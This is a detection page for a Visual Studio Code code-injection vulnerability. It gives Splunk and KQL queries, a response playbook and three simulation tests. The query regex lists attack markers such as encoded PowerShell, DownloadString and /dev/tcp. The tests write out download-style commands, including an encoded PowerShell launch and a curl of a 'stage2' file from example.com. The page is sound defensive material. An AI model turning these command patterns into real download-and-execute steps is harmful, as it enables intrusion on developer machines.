Skip to content
CVE-2026-120779 Splunk · SPL

Detect CVE-2026-120779, Visual Studio Code Remote Code Injection (Network) in Splunk

Detects potential exploitation of CVE-2026-120779, a critical code injection (CWE-94) vulnerability in Microsoft Visual Studio Code that allows an unauthorized, network-based attacker to execute arbitrary code. Exploitation typically involves VS Code loading attacker-controlled content (malicious workspace/.vscode settings, untrusted extensions, task/launch configurations, or remote/notebook payloads) that triggers code generation and execution. This detection surfaces VS Code (Code.exe / code / Electron) and its helper/extension-host processes spawning unexpected script interpreters, shells, or network tooling, and anomalous child-process chains consistent with workspace-trust abuse and code injection.

MITRE ATT&CK

Tactic
Initial Access Execution

SPL Detection Query

Splunk (SPL)
spl
``` df00tech DF00-f10876c2f2 · https://df00tech.com/detections/CVE-2026-120779 · licence: https://df00tech.com/detections/licence ```
index=endpoint (source="*Sysmon*" OR sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" OR sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational") EventCode=1
| eval pname=lower(ParentImage), cname=lower(Image)
| where (like(pname,"%code.exe") OR like(pname,"%code - insiders.exe") OR like(pname,"%codehelper.exe"))
| where (like(cname,"%powershell.exe") OR like(cname,"%pwsh.exe") OR like(cname,"%cmd.exe") OR like(cname,"%wscript.exe") OR like(cname,"%cscript.exe") OR like(cname,"%mshta.exe") OR like(cname,"%python.exe") OR like(cname,"%node.exe") OR like(cname,"%curl.exe") OR like(cname,"%certutil.exe") OR like(cname,"%rundll32.exe") OR like(cname,"%regsvr32.exe"))
| where match(CommandLine, "(?i)(-enc|EncodedCommand|FromBase64String|DownloadString|Invoke-Expression|\bIEX\b|https?://|/dev/tcp|base64\s+-d)")
| table _time, host, user, ParentImage, Image, CommandLine
| sort - _time
critical severity medium confidence

Splunk/Sysmon equivalent detecting VS Code spawning interpreters or network tools with injection/download indicators.

Data Sources

Sysmon Operational LogWindows Security Event Log

Required Sourcetypes

XmlWinEventLog:Microsoft-Windows-Sysmon/OperationalWinEventLog:Microsoft-Windows-Sysmon/Operational

False Positives & Tuning

  • Build tasks legitimately launched from VS Code in trusted workspaces
  • Developer terminal sessions invoking tooling with URLs
  • Language server / linter child processes during normal editing

Other platforms for CVE-2026-120779


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 VS Code task auto-executing PowerShell encoded command

    Expected signal: Process creation event with ParentImage Code.exe and child powershell.exe using -EncodedCommand.

  2. Test 2 VS Code spawning node with inline download-and-execute

    Expected signal: Process creation with parent code and child node executing inline script referencing a URL.

  3. Test 3 VS Code child shell curl to attacker host

    Expected signal: Process creation with VS Code parentage spawning a shell running curl to an external URL.

Last updated: Research depth: standard
References (1)

Response Playbook

Triage

  1. Confirm the affected VS Code version on the host and compare against the fixed build referenced in MSRC advisory CVE-2026-120779; flag if still vulnerable.
  2. Examine the flagged child process command line and determine whether it was user-initiated (integrated terminal/build task) or spawned automatically on folder/workspace open or extension activation.
  3. Inspect the opened workspace for untrusted .vscode/ artifacts (tasks.json, launch.json, settings.json) and recently installed or sideloaded extensions that could carry the injected code.
  4. Check whether VS Code Workspace Trust was bypassed or the workspace was opened in trusted mode from an untrusted source (clone, download, shared folder, remote).

Containment

  1. Isolate the affected endpoint from the network to prevent attacker-controlled follow-on code execution and C2.
  2. Terminate the malicious child process tree and suspend the VS Code process; disable or uninstall any implicated extension.
  3. Update Visual Studio Code to the patched release per MSRC guidance and enforce Workspace Trust / disable auto-execution of workspace tasks via policy.

Evidence Collection

  1. Capture the full process-creation chain (Code.exe → child) with command lines, hashes, and timestamps from EDR/Sysmon.
  2. Preserve the workspace folder contents including .vscode/ configuration files, notebook files, and the list/versions of installed extensions (extensions.json, globalStorage).
  3. Collect VS Code logs (Help > Toggle Developer Tools console, and ~/.config/Code/logs or %APPDATA%\Code\logs) and any dropped payloads for malware analysis.

Escalation Criteria

  • !Escalate to IR if the child process established outbound network connections, downloaded a secondary payload, or achieved persistence.
  • !Escalate if a malicious or trojanized extension or attacker-controlled repository is confirmed as the delivery vector, indicating potential broader supply-chain exposure.
  • !Escalate if the same injection pattern is observed across multiple developer endpoints.

Investigation Guide

Forensic Artifacts

  • >VS Code process-creation records (Code.exe / CodeHelper.exe parentage) in Sysmon/EDR
  • >Workspace .vscode/ files (tasks.json, launch.json, settings.json) and extension manifests
  • >VS Code logs and globalStorage under %APPDATA%\Code (Windows) or ~/.config/Code (Linux/macOS)
  • >Shell/PowerShell history and dropped payload files on the endpoint

Tuning Guidance

Build an allowlist of expected VS Code child processes per development team (node, tsserver, python, git, language servers) and expected build-task command lines, then alert on deviations. Suppress known-good integrated-terminal activity by trusted developers, and tighten regex indicators to reduce noise from legitimate URLs in build scripts. Prioritize alerts where Workspace Trust was not established or the workspace originated from an untrusted/remote source.


Hunting Queries

Baseline the child processes VS Code spawns across the fleet to surface rare or anomalous interpreter/network-tool executions worth investigating.

Hunting — KQL
kql
// df00tech DF00-f10876c2f2 · https://df00tech.com/detections/CVE-2026-120779 · licence: https://df00tech.com/detections/licence
DeviceProcessEvents | where InitiatingProcessFileName in~ ("Code.exe","Code - Insiders.exe","CodeHelper.exe") | summarize count() by FileName, ProcessCommandLine, DeviceName | where FileName !in~ ("node.exe","tsserver.exe") | order by count_ desc
Hunting — SPL
spl
``` df00tech DF00-f10876c2f2 · https://df00tech.com/detections/CVE-2026-120779 · licence: https://df00tech.com/detections/licence ```
index=endpoint sourcetype="*Sysmon*" EventCode=1 (ParentImage="*Code.exe" OR ParentImage="*Code - Insiders.exe") | stats count by Image, CommandLine, host | sort - count

Atomic Red Team Tests

Test 1 VS Code task auto-executing PowerShell encoded command
windows

Simulates a malicious workspace tasks.json that spawns PowerShell with an encoded command from VS Code, mimicking code-injection execution.

Command

powershell
& "$env:LOCALAPPDATA\Programs\Microsoft VS Code\Code.exe" --version; Start-Process -FilePath powershell.exe -ArgumentList '-NoProfile','-EncodedCommand','VwByAGkAdABlAC0ASABvAHMAdAAgACIAQQB0AG8AbQBpAGMAVABlAHMAdAAiAA=='

Cleanup

powershell
Get-Process powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartTime -gt (Get-Date).AddMinutes(-5) } | Stop-Process -Force -ErrorAction SilentlyContinue

Expected Telemetry

Process creation event with ParentImage Code.exe and child powershell.exe using -EncodedCommand.

Expected Detection

KQL/SPL/EQL rules flag VS Code spawning powershell.exe with an encoded command.

Test 2 VS Code spawning node with inline download-and-execute
linux

Simulates injected Node.js code launched by VS Code that fetches remote content, emulating network RCE behavior.

Command

bash
code --version; node -e "console.log('ATOMIC fetch https://example.com/payload')"

Cleanup

bash
pkill -f 'ATOMIC fetch' 2>/dev/null || true

Expected Telemetry

Process creation with parent code and child node executing inline script referencing a URL.

Expected Detection

Detection rules match VS Code parent spawning node with URL/download indicators.

Test 3 VS Code child shell curl to attacker host
macos

Simulates a VS Code-spawned shell performing an outbound curl, emulating payload retrieval after code injection.

Command

bash
/Applications/Visual\ Studio\ Code.app/Contents/Resources/app/bin/code --version; /bin/zsh -c 'curl -s https://example.com/stage2 -o /tmp/atomic_stage2'

Cleanup

bash
rm -f /tmp/atomic_stage2

Expected Telemetry

Process creation with VS Code parentage spawning a shell running curl to an external URL.

Expected Detection

Detection rules flag VS Code child process invoking curl with an https URL.

Related Detections